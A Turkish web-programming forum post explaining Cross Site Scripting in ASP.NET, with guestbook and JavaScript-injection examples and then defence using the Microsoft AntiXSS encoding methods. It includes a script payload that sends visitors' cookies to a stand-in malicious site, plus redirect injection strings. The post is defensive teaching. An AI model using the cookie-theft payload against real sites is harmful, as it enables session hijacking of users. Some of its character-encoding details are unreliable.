Cross Site Scripting (XSS)

Web tasarım, Web Programlama ve script dilleri konuları buraya
Cevapla
Kullanıcı avatarı
drog_1
Megabyte3
Megabyte3
Mesajlar: 1411
Kayıt: 15 Mar 2006, 16:40

Cross Site Scripting (XSS)

Mesaj gönderen drog_1 »

Cross Site Scripting (XSS)




Kullanıcıdan alınan bilgi oldugu gibi veritabanına kaydediliyorsa ve aynı sekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıstırılması muhtemeldir.



Örnegin bir ziyaretçi defteri doldururken mesaj kısmına

Kod: Tümünü seç

<script> location.href= ‘http://www.google.com’;</script>
Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karsılarında sizin sitenizi degil, Google’ı göreceklerdir.



Ziyaretçilerin tarayıcılarında çalıstırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.

Kod: Tümünü seç

<script>
document.location='http://www.kotuniyetlisite.com/yaz.aspx?a='+document.cookie
</script>
seklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmıs. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.

ASP.NET programcıları bu konuda diger web gelistiricilerinden biraz daha sanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.

Ancak günümüz de sık gelistirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta.



Bu da ASP.NET programcısının “Fck Editor” kullandıgı sayfasının basına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor. Bu da XSS saldırıları için bir davet anlamına gelir.



Buraya kadar verdigimiz örnekler HTML kodları arasına sızan tekniklerdi.



Kullanıcıdan alınan bilgi ile olusturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.



Javascript için basit bir örnek verelim.



Default.aspx dosyamızda bulunan Javascript :

Kod: Tümünü seç

<script type="text/javascript" >
        alert('Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />');
</script> 
Default.aspx.cs dosyasından gönderilen bilgi :

Kod: Tümünü seç

ltAd.Text = "Selçuk";
Sayfa çalıstırıldıgında “Merhaba Selçuk” seklinde bir MessageBox çıkıyor.

“Selçuk” degerinin veritabanından geldigini farzedelim. Eger veritabanından gelen söyle bir sey olursa :

Kod: Tümünü seç

ltAd.Text = " ' location.href='http://www.google.com'; alert('a";
Sayfamız derlendiginde ortaya çıkan Javascript kodunu inceleyelim :

Kod: Tümünü seç

<script type="text/javascript" >
alert('Merhaba '); location.href='http://www.google.com'; alert('a');
</script>
Ziyaretçi “Merhaba” seklinde bir MessageBox görür ve kendini yine Google da bulur.

Bu konuda örnekler çogaltılabilir. Biz simdi alacagımız önlemlere geçelim.

Bunun için “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacagız.

http://www.microsoft.com/downloads/deta ... laylang=en adresinden temin edebileceginiz AntiXSSLibrary.dll i projemize dahil ediyoruz.



Microsoft.Application.Security.AntiXSS namespace’inden ulasabilecegimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.



Bu metotlar :


HtmlEncode
HtmlAttributeEncode
JavaScriptEncode
UrlEncode
VisualBasicScriptEncode
XmlEncode
XmlAttributeEncode



Yukarıda verdigimiz örneklerden Javascript için

Kod: Tümünü seç

ltAd.Text = "');  location.href='http://www.google.com'; alert('a");
yerine

Kod: Tümünü seç

using Microsoft.Security.Application.AntiXss;

...

ltAd.Text = 
JavaScriptEncode("'); location.href='http://www.google.com'; alert('a");
seklinde kullandıgımızda bir ziyaretçilerimiz bir zarar görmeyecektir.

Sayfamızı derledikten sonra olusan Javascript kodumuzu inceleyelim :

Kod: Tümünü seç

<script type="text/javascript" >
        alert('Merhaba '\x27\x29\x3b 
        location.href\x3d\x27http\x3a\x2f\x2fwww.google.com\x27\x3b 
        alert\x28\x27a');
</script>
Görüldügü gibi “)“ isareti \x27 ye , “;” isareti \x29 a ve diger zararlı karakterlerde Javascript’in karsılıklarına çevrilmis. Bu kodlar çalıstırılamaz ama aynı karaktersel degerleini korurlar.

Örnegin

Kod: Tümünü seç

ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptEncode("Selçuk");
seklinde bir kullanımda ekranda “Selçuk” yazar ancak kaynak kodunda “ç” karakteri \u00e7 olarak kodlanmıstır.



Bunun sebebi ise AntiXSS kütüphanesinin belli baslı karakterleri encode eder. Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” , çift tırnak “"” ve ascii degeri 160-255 arası olan karakterlerdir.



“ç” harfi ascii tablosunda bulunmuyor ancak unicode deger olan 351’in Hexadecimal esiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \u00e7 olarak tanır.


Alıntıdır
Cevapla